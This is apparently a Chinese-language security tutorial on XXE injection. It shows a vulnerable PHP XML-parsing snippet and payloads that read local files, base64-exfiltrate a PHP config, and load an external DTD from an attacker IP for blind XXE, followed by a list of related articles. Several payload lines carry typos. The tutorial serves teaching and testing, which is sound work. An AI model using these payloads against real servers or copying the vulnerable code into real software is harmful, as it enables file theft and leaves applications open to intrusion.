XXE漏洞介绍及利用
目录
XXE漏洞介绍
XXE漏洞
XML介绍及用途
XML语法规则
函数介绍
存在XXE漏洞代码
php中测试POC
有回显XXE漏洞利用
读取文档文件
读取php文件
无回显XXE漏洞利用
测试原理
请求XML
服务器dtd
使用wireshark抓取http查看信息
XXE漏洞介绍
XXE全称为XML External Entity Injection即XMl外部实体注入漏洞。
XXE漏洞
XXE漏洞触发点往往是可以上传xml文件的位置,没有对xml文件进行过滤,导致可加载恶意外部文件和代码,造成任意文件读取,命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害
XML介绍及用途
XMl被设计用来传输和存储数据。XML文档形成了一种树状结构,它从"根部"开始,然后扩展到"枝叶"。
XMl允许作者定义自己的标签和自己的文档结构。
XML语法规则
- 所有XMl元素必须有一个闭合标签
- XMl标签对大小写敏感
- XMl必须正确嵌套
- XML属性值必须加引号
- 实体引用
- 在XMl中,空格会被保留
函数介绍
file_get_cintent函数介绍
file_get_content()函数把整个文件读入一个字符串中。
php://inpput介绍
php://input是个可以访问请求的原始数据的只读流。
结合file_get_contents(php://input)可以读取POST提交的数据
simplexml_load_string函数介绍
php中的simplexml_load_string函数将xml格式字符串转换为对应的SimpleXMLElement
XML注入回显输出函数
在php中可以使用 print_r(),echo输出想要输出的内容
存在XXE漏洞代码
<?php
$xml= file_get_contents(php://input);
$data = simplexml_load_string($xml);
echo"<pre>";
print_r($data);//注释掉该语句即为无回显的情况
?>
php中测试POC
file:///path/file.txt
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
有回显XXE漏洞利用
读取文档文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTPE ANY[
<!ENTITY xxe SYSTEM "file:///c:/post.txt">]>
<name>&xxe;</name>
读取php文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTPE ANY[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=conf.php">]>
<name>&xxe;</name>
无回显XXE漏洞利用
测试原理
请求XML
<?xml version="1.0" encoding="utf-8"?>
<DOCTPE foo SYSTEM "http://192.168.3.112/test.dtd">
<foo>&e1;</foo>
服务器dtd
使用gedit将test.dtd中内容设置为下图的文件内容
使用wireshark抓取http查看信息
XXE漏洞介绍及利用相关推荐
- SSRF漏洞介绍及利用
目录 SSRF简介 SSRF漏洞原理 SSRF漏洞的验证方法 主要用途 产生SSRF的PHP函数 SSRF漏洞常见位置 SSRF漏洞代码分析 实例演示-读取本地文件 SSRF简介 SSRF(serve ...
- XXE漏洞详解与利用
XXE:XML 外部实体注入 XXE(XML External Entity,XML 外部实体注入)正是当允许引用外部实体时,通过构造恶意内容,导致读取任意文件.执行系统命令.内网探测与攻击等危害的一 ...
- 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用
浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...
- 网络安全课第五节 XXE 漏洞的检测与防御
11 XXE 漏洞:XML 解析器的坑 上一讲我们介绍了 SSRF 漏洞,一种专门针对服务端的请求伪造攻击,常被用于攻击内网.在里面我介绍了 Burp Collaborator 用于专门测试无回显漏洞 ...
- Blind XXE漏洞详解
0x01 blind XXE漏洞 0x02 使用out-of-band(OAST)技术检测Blind XXE漏洞 2.1 使用参数实体进行绕过 2.2 利用out-of-band获取敏感信息 0x03 ...
- java xxe漏洞利用_【技术分享】XXE漏洞攻防之我见
作者:激越王 预估稿费:400RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 你是否听说过xml注入攻击呢,或者对它只知其一不知其二呢? 现在让我们从xml相关基础知识开 ...
- 网络安全--XXE漏洞利用思路
一.XXE 是什么 介绍 XXE 之前,我先来说一下普通的 XML 注入,这个的利用面比较狭窄,如果有的话应该也是逻辑漏洞 如图所示: 既然能插入 XML 代码,那我们肯定不能善罢甘休,我们需要更多, ...
- (39.2)【XXE漏洞专题】XXE原理、产生、检测、危害、利用、示例
目录 零.推荐: 一.简介: 二.原理: 三.产生的原因: 四.漏洞检测: 4.1.白盒: 4.1.1.函数/可控变量的查找 4.1.2.传输/存储数据格式类型 4.2.黑盒: 4.2.1.数据格式类 ...
- java xxe漏洞利用_XXE漏洞攻防原理
方便永远是安全的敌人 你的知识面,决定你的攻击面 1简述 XXE(XML External Entity)是指xml外部实体攻击漏洞.XML外部实体攻击是针对解析XML输入的应用程序的一种攻击.当包含 ...
最新文章
- 新产品发布与A轮2000万美元 双喜临门后GrowingIO还要做什么
- SAP MM Inbound Delivery凭证流里不出现采购订单号?
- Codeforces 815 B Karen and Test 杨辉三角 组合数学
- eeglab教程系列(8)-数据叠加平均{2}绘制2D和3D图
- ClassLoader(一)- 介绍
- python安装mysqlclient报错_Centos 6 – sudo在为Python 3.4安装mysqlclient时...
- OpenCASCADE:Modeling Algorithms模块几何工具之Intersections交叉
- python环境变量的配置 alias_vim-python环境配置
- java学习(72):GUL流式布局管理器
- Vue移动端项目——字体图标的使用
- Modbus协议栈应用实例之五:Modbus ASCII主站应用
- Redis的发布订阅与主从配置
- Pytorch基础(三)数据集加载及预处理
- python处理access数据库教程_Python操作Access数据库基本操作步骤分析
- iar stm32_基于最新5.4电机库的STM32电机控制应用实战分享
- 【计算机网络】-- 动态分配信道:随机访问介质访问控制(ALOHA协议、CSMA协议、CSMA/CD协议、CSMA/CA协议)
- NLP-信息抽取-三元组-联合抽取-多任务学习-2019:CasRel【关系三元组抽取:一种新的级联二元标注框架】【没用CRF】【基于Lic2019比赛】【数据集:NYT、WebNLG】
- GenXus进行APP开发-全局颜色设计
- google hacking常用语法
- PYTHON代码:根据FileRecord和MAP的关系,拼接IBM V7000 精简卷碎片